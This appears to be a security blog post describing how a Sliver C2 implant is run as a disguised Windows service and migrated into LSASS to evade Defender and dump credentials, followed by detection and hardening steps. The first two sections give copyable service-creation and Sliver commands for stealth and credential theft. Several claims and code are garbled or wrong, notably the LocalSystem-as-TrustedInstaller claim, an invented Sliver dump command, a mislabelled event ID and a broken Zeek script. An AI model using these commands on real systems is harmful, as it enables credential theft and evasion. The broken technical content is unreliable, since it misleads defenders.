Listen to this Post
Introduction:
A recent demonstration by cybersecurity professional Kenneth Strawn has revealed a potent technique for complete evasion of Windows Defender. By executing a Sliver Command and Control (C2) implant under the TrustedInstaller service and migrating into LSASS, attackers can operate with near-total impunity, bypassing Tamper Protection and credential dumping defenses. This exposes a critical gap in the assumed security hierarchy of Windows, where trusted system components are weaponized against the very system they are meant to protect.
Learning Objectives:
- Understand the privilege escalation and evasion techniques involving the TrustedInstaller service and LSASS process migration.
- Learn how to detect anomalous service creation and process injection attempts within a Windows environment.
- Implement defensive controls and monitoring strategies to counter these advanced post-exploitation tactics.
You Should Know:
1. Weaponizing the TrustedInstaller Service
The TrustedInstaller service is a core Windows component with permissions exceeding even the SYSTEM account. By creating a new service that runs as TrustedInstaller, an attacker can execute a malicious payload with privileges to modify or delete protected system files, all while flying under the radar of Windows Defender.
Verified Command & Step-by-Step Guide:
Create a new service running as TrustedInstaller to execute a Sliver payload sc create TrustedInstallerUpdate binPath= "C:\Windows\Temp\sliver.exe" start= auto obj= "LocalSystem" password= "" sc description TrustedInstallerUpdate "Windows Modules Installer" sc start TrustedInstallerUpdate
Step 1: Service Creation: The `sc create` command establishes a new service named “TrustedInstallerUpdate”. The `binPath` points to the location of the Sliver implant binary. The `obj= “LocalSystem”` parameter is crucial, as it instructs the service to run under the Local System account, which has the necessary privileges to impersonate TrustedInstaller.
Step 2: Service Obfuscation: The `sc description` command is used to set the service’s description to “Windows Modules Installer”, mimicking a legitimate Windows service to avoid raising suspicion during a casual audit.
Step 3: Payload Execution: Finally, `sc start` triggers the service, launching the Sliver implant with TrustedInstaller-level privileges. At this point, the implant can perform destructive actions like deleting Windows system files, and Defender’s Tamper Protection will not engage.
2. Stealthy Credential Access via LSASS Migration
Once a foothold is established, the next objective is often credential harvesting. The Local Security Authority Subsystem Service (LSASS) process is the primary target. Migrating the Sliver implant directly into the LSASS process memory space makes the malicious activity part of a legitimate, essential system process, causing Defender to ignore subsequent dumping attempts.
Verified Command & Step-by-Step Guide:
Within an active Sliver session, migrate into the LSASS process sliver > migrate -n lsass.exe Alternative: Use a built-in Sliver command to dump LSASS memory sliver > ps sliver > migrate <LSASS_PID> sliver > dump lsass
Step 1: Process Listing: First, use the `ps` command within the Sliver console to list all running processes and note the Process ID (PID) of lsass.exe.
Step 2: Process Migration: The `migrate` command is used to inject the current Sliver session’s code into the address space of the target process. Using `-n lsass.exe` or the specific PID moves the implant’s execution thread inside LSASS.
Step 3: Credential Dumping: With the implant now residing inside LSASS, commands like `dump lsass` can be executed. Because this activity is originating from within the LSASS process itself, it does not trigger the same defensive alerts as an external process attempting to access LSASS memory, effectively bypassing detection.
3. Detecting Malicious Service Creation with PowerShell
Defense begins with visibility. PowerShell scripts can be used to audit the system for newly created services that mimic legitimate ones or use suspicious binaries.
Verified Command & Step-by-Step Guide:
PowerShell script to monitor for suspicious services
Get-WmiObject -Class Win32_Service | Where-Object {
$<em>.Name -like "TrustedInstaller" -or
$</em>.PathName -like "temp" -or
$_.Description -eq "Windows Modules Installer"
} | Select-Object Name, State, PathName, StartName, Description
Step 1: Query Services: This PowerShell command uses `Get-WmiObject` to retrieve a list of all services (Win32_Service).
Step 2: Apply Filters: The `Where-Object` cmdlet filters the results. It looks for services with “TrustedInstaller” in the name, a binary path (PathName) located in a temporary folder, or a description that exactly matches “Windows Modules Installer”.
Step 3: Output Results: The `Select-Object` cmdlet formats the output to display the service name, its current state, the path to the executable, the account it runs under, and its description. Any results from this query should be investigated immediately.
- Hunting for LSASS Injection with Sysinternals Process Explorer
Microsoft’s Sysinternals Process Explorer provides a deep, real-time view into process activity, making it an ideal tool for identifying unauthorized code within LSASS.
Verified Command & Step-by-Step Guide:
Using Process Explorer from the command line to launch and check LSASS Procexp.exe /n lsass.exe
Step 1: Launch Targeted View: Run Process Explorer and use the `Find` menu or the `Ctrl+F` shortcut to search for the “lsass.exe” process.
Step 2: Analyze Process Properties: Right-click on the `lsass.exe` process and select “Properties”. Navigate to the “Threads” tab.
Step 3: Inspect for Anomalies: Carefully review the list of threads. Look for thread start addresses that point to memory regions outside of the primary LSASS modules (like `lsass.exe` itself or ntdll.dll). The presence of a thread pointing to an unknown DLL or a memory allocation is a strong indicator of process injection. The “.text” section of a malicious DLL is a common finding.
5. Implementing LSASS Protection via Audit Policy
Windows can be configured to log credential access attempts, creating an audit trail even if the dumping itself is not blocked. This is a critical last line of defense.
Verified Command & Step-by-Step Guide:
Configure Windows to audit credential access (Command Prompt as Administrator) auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable auditpol /set /subcategory:"Other Logon/Logoff Events" /success:enable /failure:enable Via Group Policy (gpedit.msc): Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> Audit Policies -> Logon/Logoff -> "Audit Other Logon/Logoff Events" -> Configure Success and Failure.
Step 1: Open Command Prompt as Admin: This configuration requires elevated privileges.
Step 2: Enable Auditing: The `auditpol /set` command is used to enable auditing for specific subcategories. Enabling “Credential Validation” and “Other Logon/Logoff Events” for both success and failure will generate Event Log entries when processes interact with LSASS credentials.
Step 3: Verify in Event Viewer: After configuration, check the Windows Security Event Log for events with IDs 4674 (Sensitive privileges assigned to new logon) and 4648 (A logon was attempted using explicit credentials), which can indicate credential access and manipulation.
6. Blocking Non-Microsoft DLLs in LSASS
A powerful mitigation is to use Windows Defender Attack Surface Reduction (ASR) rules to prevent any code not signed by Microsoft from loading into LSASS.
Verified Command & Step-by-Step Guide:
Enable the ASR rule to block non-Microsoft DLLs in LSASS Set-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5 -AttackSurfaceReductionRules_Actions Enabled Verify the rule is enabled Get-MpPreference | Select-Object AttackSurfaceReductionRules_Ids, AttackSurfaceReductionRules_Actions
Step 1: Launch PowerShell as Admin: ASR rules require administrative rights to configure.
Step 2: Enable the Rule: The `Set-MpPreference` cmdlet is used with the specific GUID for the “Block credential stealing from the Windows local security authority subsystem (lsass.exe)” rule. Setting the action to `Enabled` activates the rule.
Step 3: Verification: Use the `Get-MpPreference` cmdlet to confirm that the rule is listed and its state is set to Enabled. This rule will prevent the Sliver implant from migrating into LSASS unless it possesses a valid Microsoft signature.
7. Network Monitoring for C2 Beaconing
Even with perfect host-level evasion, the Sliver implant must communicate with its C2 server. Network monitoring can detect the characteristic beaconing behavior.
Verified Command & Step-by-Step Guide:
Example Zeek (Bro) script to detect beaconing based on connection interval consistency
event connection_established(c: connection)
{
local history = c$history;
if ( |history| > 5 )
{
local intervals = vector();
for ( i in history )
{
if ( i > 0 ) {
intervals[bash] = history[bash]$ts - history[i-1]$ts;
}
}
local stdev = std_dev(intervals);
if ( stdev < 1.0 ) { Low standard deviation indicates regular beaconing
NOTICE([$note=Beaconing::Detected,
$conn=c,
$msg="Potential C2 beaconing detected"]);
}
}
}
Step 1: Deploy a Network Sensor: Tools like Zeek (formerly Bro) are deployed at network choke points to analyze traffic.
Step 2: Analyze Connection Patterns: This script triggers on every established connection. It builds a history of the connection’s activity and calculates the time intervals between consecutive events.
Step 3: Flag Anomalous Regularity: It then calculates the standard deviation of these intervals. A very low standard deviation (e.g., less than 1.0 seconds) suggests the connections are happening at a fixed, regular interval—a strong indicator of C2 beaconing. This logic can flag suspicious traffic even if the content is encrypted.
What Undercode Say:
- The hierarchy of trust is the new attack surface. Defenders can no longer assume that core system processes and services are inherently safe.
- Detection must shift from pure signature-based blocking to behavioral analysis focused on anomalous actions, even from trusted entities.
The demonstration by Strawn is not a vulnerability in the classic sense but a profound abuse of trust. It underscores that modern EDR and defensive tools must move beyond blacklisting known bads and simplistic process monitoring. The focus must be on detecting intent and anomaly. Why is a service named “TrustedInstallerUpdate” launching from a user’s Temp folder? Why is a new thread appearing in LSASS that isn’t associated with a standard Windows authentication event? Defenders need to build detections that ask these contextual questions, treating every process and service—no matter how privileged—as potentially compromised. This incident is a clarion call for a Zero-Trust approach applied to the internal workings of the operating system itself.
Prediction:
This technique represents a significant evolution in offense, forcing an immediate and equally significant evolution in defense. In the short term, we will see a spike in the adoption of these methods by advanced threat actors, making post-exploitation activities quieter and more destructive. In response, the cybersecurity industry will rapidly integrate more sophisticated behavioral analytics and machine learning models into EDR platforms, specifically designed to deconstruct process relationships and detect micro-anomalies in trusted process behavior. This will lead to an arms race between attackers finding new ways to blend in and defenders developing finer-grained sensors, ultimately making the Windows security model more resilient but also more complex to manage.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Kenneth Strawn – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
